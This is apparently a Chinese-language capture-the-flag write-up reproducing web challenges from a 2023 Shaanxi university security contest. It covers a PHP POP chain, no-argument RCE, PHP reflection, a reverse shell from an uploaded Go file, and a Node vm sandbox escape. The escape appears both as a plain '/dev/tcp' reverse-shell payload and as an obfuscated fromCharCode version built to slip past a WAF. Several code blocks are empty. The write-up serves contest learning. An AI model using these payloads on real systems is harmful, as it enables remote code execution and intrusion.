[2023陕西省大学生网络安全大赛]WEB复现
环境:云演
ezpop
ctrl+u或者F12会闪退,在浏览器层面打开开发者工具查看源代码即可绕过这种JS小伎俩,然后挨个查找可疑的js
base64解码打开/pop3ZTgMw.php
一个很简单的pop链,但要注意有几个特殊的unicode字符会导致显示顺序的错乱,框选之后可以发现
如何找到真正的post参数呢,其实我们慢慢的框选,可以发现这段特殊的unicode符号和“快给我传参”是连在一起的,并且是覆写符号(钓鱼攻击常用,改变文字的显示顺序),其真实位置在第一个引号'和第一个p之间
对于这种掺杂着不可见字符的参数,我们可以先通过requests获取url编码后的页面源代码,然后找到第一个%27和p字母之间的位置就是这些不可见字符,在传参的时候用url编码拼接即可
完整的参数就是去掉两旁的%27中间的内容(即单引号)
POP链子很简单,有2个考点,一个是运用GC机制来提前反序列化绕过throw Error,还有就是立即调用函数的使用,文件查看器那道题我有详细说明
最后就是用file协议来绕过waf,直接读取本地文件
POP链:
1 |
|
最终POC
ezrce
随便填一个显示出源码
关键函数
1 | $name1=preg_replace('/hahaha/e',$qaq,$name); |
fuzz后发现过滤了数字,引号,考虑无参数RCE
又过滤了next,reverse,没法读当前目录文件,也可能是太菜了想不出来
考虑session,构造payload
1 | Cookie: PHPSESSID=/flag; |
unserialize
查看源码,要求执行代码后将password改为指定的secret,不过又搞了个unicode覆写的小伎俩。。。。
没有setter和constructor,想修改私有成员只能用反射,之前没接触过php的反射,问下聪明的bing(本来想用gpt4结果发现被封了)
发现和java反射差不多,但是查看robots.txt=>hint.php后发现,常用的ReflectionClass不能用
那就改用ReflectionObject,方法流程和ReflectionClass大差不差,只不过ReflectionClass直接反射类的元数据,,而ReflectionObject是通过一个实例对象来反射其类的元数据
POC
1 |
|
把代码url编码后,其中的1111改为注释那栏密码即可
test
打开登录界面,查看源代码,profile路由会泄露信息,访问/prifile/admin获取密码,cmd5爆破一下,登录后post一个执行反弹shell的go文件,cat /flag即可
给官方WP贴一个详细注解,方便学习
1 | // 定义一个main包,表示这是一个可执行程序 |
关于defer关键字
使用defer关键字可以保证无论函数在哪里返回,都会关闭文件句柄f。如果不使用defer关键字,你需要在每个return语句之前调用f.Close(),或者使用一个变量来存储错误,并在函数最后调用f.Close()。这样会让代码更复杂、更容易出错。使用defer关键字可以让代码更简洁、更安全。
Esc4pe_T0_Mong0
VM1沙箱逃逸经典POC:
1 | this.constructor.constructor("return process")().mainModule.require("child_process").exec("bash -i >& /dev/tcp/ip/port 0>&1") |
waf过滤了.,{},空格等常用关键字
利用with代替.取属性,利用fromCharCode绕过关键字过滤
用法:
方法 | 语法 | 参数 | 返回值 | 作用 | 示例 |
---|---|---|---|---|---|
fromCharCode | String.fromCharCode(num1, num2, …, numN) | num1, num2, …, numN: 一系列的UTF-16编码单元的数字,范围是0到65535。如果超过这个范围,会被截断。 | 一个字符串,由指定的UTF-16编码单元组成。 | 将Unicode值转换为字符。 | String.fromCharCode(65, 66, 67); // 返回”ABC” |
with | with (object) { statement } | object: 一个已有的对象,它的属性可以在语句中作为变量来使用。statement: 一个或多个语句,可以引用object的属性。 | 无返回值。 | 扩展作用域链,使得一个对象的属性可以在语句中直接使用,而不需要写对象名。 | let obj = {a: 1, b: 2};with (obj) {console.log(a + b);} // 输出3 |
ascii转换脚本
1 | cmd="" |
这里好像直接bash -i会报错,换成bash -c “bash -i >& /dev/tcp/ip/port 0>&1”
waf中还限制了长度,所以要用一个字符的变量名来代替2个字符的ascii码
最终POC:
1 | with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,X,46,X,X,X,46,X,X,X,46,X,X,47,57,57,57,32,48,62,38,49,34)) |
拿到shell之后,
先启动MongoDB
service mongodb start
进入MongoDB
mongodb
查询数据库
show databases
选择数据库
use secret
查询表
show tables
查询flag
db.flag.find()